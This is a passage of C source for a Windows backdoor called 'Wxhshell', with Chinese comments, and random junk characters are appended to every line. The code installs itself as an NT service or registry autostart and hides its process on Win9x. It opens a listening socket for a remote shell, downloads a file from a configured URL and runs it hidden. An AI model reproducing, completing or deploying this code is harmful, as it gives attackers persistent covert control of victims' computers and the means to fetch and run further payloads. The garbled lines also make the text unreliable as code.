ULONG UniqueProcessId; mu0L_u(P
ULONG InheritedFromUniqueProcessId; \Yp"D7:Qi
} PROCESS_BASIC_INFORMATION; 5Zc
VKXi*F9
PROCNTQSIP NtQueryInformationProcess; EO'+r[Y
b7xOm"X,N
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sy.%>$ z
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >.39OQ#
q:vN3#=^qf
HANDLE hProcess; sfG9R"
PROCESS_BASIC_INFORMATION pbi;
L9hL@
]nV_K}!w
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3|e~YmZx
if(NULL == hInst ) return 0; LVP6vs
hBZh0xy
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l+(B~v
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P[`>*C\9c
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L) _ VdB
/q]fG
if (!NtQueryInformationProcess) return 0; \8Ewl|"N:u
%LdBO1D0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3Qv9=q|[b
if(!hProcess) return 0; K:4G(?w
mV7_O//
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zjc/GO
UQ e1rf
CloseHandle(hProcess); 5U_ar
('_S1?y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kYS\TMt,C
if(hProcess==NULL) return 0; }sZy |dd
q<g!bW%
HMODULE hMod; <p_2&&?
char procName[255]; u7wZPIC{_
unsigned long cbNeeded; i[U=-4 J
p{V(! v|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H/#WpRg
S@L%X<Vm
CloseHandle(hProcess); Q!fk|D+j
G~lnX^46"
if(strstr(procName,"services")) return 1; // 以服务启动 1kc{`oL
e $5s],,n
return 0; // 注册表启动 FZ%
WD@=
} j]9,yi
1N8YD .3
// 主模块 /P{'nI
int StartWxhshell(LPSTR lpCmdLine) n{F&GE="
{ ^\PNjj*C i
SOCKET wsl; na/,1iI<
BOOL val=TRUE; du=[ r
int port=0; wB*}XJah
struct sockaddr_in door; WoMMAo~
CYk"
if(wscfg.ws_autoins) Install(); ukXKUYNm8
6[1lK8o
port=atoi(lpCmdLine); hniTMO
/%^^hr
if(port<=0) port=wscfg.ws_port; ]O68~+6
'P >h2^z
WSADATA data; 3n TpL#
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xHwcP2 1
k{C|{m
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {B\lk:"X
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yi1V \8DC
door.sin_family = AF_INET; N%8aLD
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZltY_5l
door.sin_port = htons(port); |Q~5TL>b
WPNvZg9*c
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Os|F
closesocket(wsl); `lq[6[n
return 1; h|&qWv
} q"^T}d d,
qgLj^{
if(listen(wsl,2) == INVALID_SOCKET) { x\XOtjJr
closesocket(wsl); _S#3!Wx
return 1; 3MFb\s&Fq
} SSI('6Z/
Wxhshell(wsl); J"RmV@|
WSACleanup(); E?P:!V=_
lilF _y
return 0; f<~S0[H
;F'/[l{+
} 2(sq*!tX
6P*2Kg`
// 以NT服务方式启动 ZnYoh/
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'gwh:8Xc
{ .9;wJ9Bw[
DWORD status = 0; }fKpih
DWORD specificError = 0xfffffff; u~a@:D/F{G
q!zsGf{
serviceStatus.dwServiceType = SERVICE_WIN32; b:}+l;e52
serviceStatus.dwCurrentState = SERVICE_START_PENDING; t{)J#8:g
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b}#ay2AR
serviceStatus.dwWin32ExitCode = 0; C %o^AR
serviceStatus.dwServiceSpecificExitCode = 0; YV0K&d
serviceStatus.dwCheckPoint = 0; ${%*O}$
serviceStatus.dwWaitHint = 0; 7 V+rQ
.)eX(2j\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v(tr:[V
if (hServiceStatusHandle==0) return; w oS I
2i
\hwz;V.J"
status = GetLastError(); C7[CfcPA
if (status!=NO_ERROR) 5#U*vGVT
{ c}>p"
serviceStatus.dwCurrentState = SERVICE_STOPPED; \;G 97o
serviceStatus.dwCheckPoint = 0; ( nH3
serviceStatus.dwWaitHint = 0; l1qWl
serviceStatus.dwWin32ExitCode = status; Qm\VZ<6/5
serviceStatus.dwServiceSpecificExitCode = specificError; )0:@T)G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jreY'y:
return; c*g(R.!
} 9H<6k*
jpCQ2 XD:
serviceStatus.dwCurrentState = SERVICE_RUNNING; $iA`_H`W
serviceStatus.dwCheckPoint = 0; 0#mu[O
serviceStatus.dwWaitHint = 0; >aZ$x/U+Iw
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i}5
#n
} e>kw>%3bl9
y8KJoVPiM
// 处理NT服务事件,比如:启动、停止 l%^'K%'b
VOID WINAPI NTServiceHandler(DWORD fdwControl) >_y>["u6J#
{ ^xGdRaU#
switch(fdwControl) In)#`E` g.
{ N(]>(S
o
case SERVICE_CONTROL_STOP: Q
b5AQf30
serviceStatus.dwWin32ExitCode = 0; 'lU9*e9
serviceStatus.dwCurrentState = SERVICE_STOPPED; q
lL6wzq,
serviceStatus.dwCheckPoint = 0; \7}X^]UV x
serviceStatus.dwWaitHint = 0; QMzBx*g(
{ #GYCU!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m(Cn'@i`"0
} {}ZQK
return; i>S
/W!F
case SERVICE_CONTROL_PAUSE: ?.:C+*+
serviceStatus.dwCurrentState = SERVICE_PAUSED; RkN a;j)t
break; cvbv\G'aT
case SERVICE_CONTROL_CONTINUE: :CN,I!:
serviceStatus.dwCurrentState = SERVICE_RUNNING; :_tsS)Q2m
break; 1X/
q7lR
case SERVICE_CONTROL_INTERROGATE: Nvs8t%
break; /0 ,#c2aq
}; N"b>]Ab] ;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E#_TX3B
} <3QE3;4
oSt-w{!
// 标准应用程序主函数 v.+-)RLQg
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pb.-Z@
{ Z^AACKME
Rtn.cSd
// 获取操作系统版本 nVoPTr
OsIsNt=GetOsVer(); #5T+P8
GetModuleFileName(NULL,ExeFile,MAX_PATH); _EOQ*K#=Ct
z@cL<.0CE
// 从命令行安装 ocy fU=}X
if(strpbrk(lpCmdLine,"iI")) Install(); R\+p`n$
C} +w<
// 下载执行文件 !E> *Mn
if(wscfg.ws_downexe) { 8@qYzSx[
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )5Kzq6.
WinExec(wscfg.ws_filenam,SW_HIDE); >(u =/pp=:
} :t]YPt
x<"e} Oo
if(!OsIsNt) { KLs%{'[7:
// 如果时win9x,隐藏进程并且设置为注册表启动 w1aa5-aF
HideProc(); y1/$dn
StartWxhshell(lpCmdLine); Ud:v3"1
} ow
~(k5k:
else ^l
~i >:V
if(StartFromService()) c0u!V+V%
// 以服务方式启动 `Bnp/9q5
StartServiceCtrlDispatcher(DispatchTable); C2,,+* v
else waW2$9O
// 普通方式启动 BULX*eOt
StartWxhshell(lpCmdLine); ;&P%A<[`
Zo22se0)
return 0; zMKW@
}